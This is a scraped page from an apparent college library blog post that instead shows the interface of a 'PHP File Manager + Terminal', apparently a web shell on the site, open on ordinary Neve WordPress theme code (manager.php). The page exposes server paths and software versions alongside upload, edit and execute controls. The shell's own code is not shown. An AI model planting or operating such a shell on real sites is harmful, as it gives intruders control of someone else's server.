Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/sfac/wp-content/themes/neve/inc/admin/metabox Upload Create File Create Folder Execute Editing: /var/www/html/sfac/wp-content/themes/neve/inc/admin/metabox/manager.php<?php /** * Page settings metabox. * * @package Neve */ namespace Neve\Admin\Metabox; /** * Class Manager * * @package Neve\Admin\Metabox */ final class Manager { /** * Control instances. * * @var array */ private $controls = array(); /** * Control classes to get controls from. * * @var array */ private $control_classes; /** * Init function */ public function init() { add_action( 'add_meta_boxes', array( $this, 'add' ) ); add_action( 'admin_init', array( $this, 'define_controls' ) ); add_action( 'admin_init', array( $this, 'load_controls' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) ); add_action( 'save_post', array( $this, 'save' ) ); } /** * Define the controls. */ public function define_controls() { $this->control_classes = array( 'Neve\\Admin\\Metabox\\Main', ); $this->control_classes = apply_filters( 'neve_filter_metabox_controls', $this->control_classes ); } /** * Instantiate the controls and actually load them into the control manager. */ public function load_controls() { if ( empty( $this->control_classes ) ) { return; } foreach ( $this->control_classes as $control_manager ) { $control_instance = new $control_manager(); if ( ! $control_instance instanceof Controls_Base ) { continue; } $control_instance->init(); $this->controls = array_merge( $this->controls, $control_instance->get_controls() ); } $this->order_by_priority(); } /** * The metabox content. */ public function render_controls() { global $post; foreach ( $this->controls as $control ) { $control->render( $post->ID ); } } /** * Save metabox content. * * @param int $post_id the post id. */ public function save( $post_id ) { foreach ( $this->controls as $control ) { $control->save( $post_id ); } } /** * Register meta box to control layout on pages and posts. */ public function add() { if ( $this->should_add_meta() === false ) { return; } $post_type = 'Neve'; $post_type_from_db = get_post_type(); if ( $post_type_from_db ) { $post_type = ucfirst( $post_type_from_db ); } add_meta_box( 'neve-page-settings', sprintf( /* translators: %s - post type */ __( '%s Settings', 'neve' ), $post_type ), array( $this, 'render_metabox' ), array( 'post', 'page', 'product' ), 'side' ); } /** * The metabox content. */ public function render_metabox() { $this->render_controls(); } /** * Decide if the metabox should be visible. * * @return bool */ public function should_add_meta() { global $post; if ( empty( $post ) ) { return false; } $restricted_pages_id = array(); if ( in_array( $post->ID, $restricted_pages_id, true ) ) { return false; } return true; } /** * Enqueue scripts and styles. */ public function enqueue() { $screen = get_current_screen(); if ( ! is_object( $screen ) ) { return; } if ( $screen->base !== 'post' ) { return; } wp_register_script( 'neve-metabox', NEVE_ASSETS_URL . 'js/metabox' . ( ( NEVE_DEBUG ) ? '' : '.min' ) . '.js', array( 'jquery' ), NEVE_VERSION, true ); wp_localize_script( 'neve-metabox', 'neveMetabox', $this->get_localization() ); wp_enqueue_script( 'neve-metabox' ); } /** * Localize the Metabox script. * * @return array */ private function get_localization() { return array(); } /** * Order the controls by given priority. */ private function order_by_priority() { $order = array(); foreach ( $this->controls as $key => $control_object ) { $order[ $key ] = $control_object->priority; } array_multisort( $order, SORT_ASC, $this->controls ); } } Save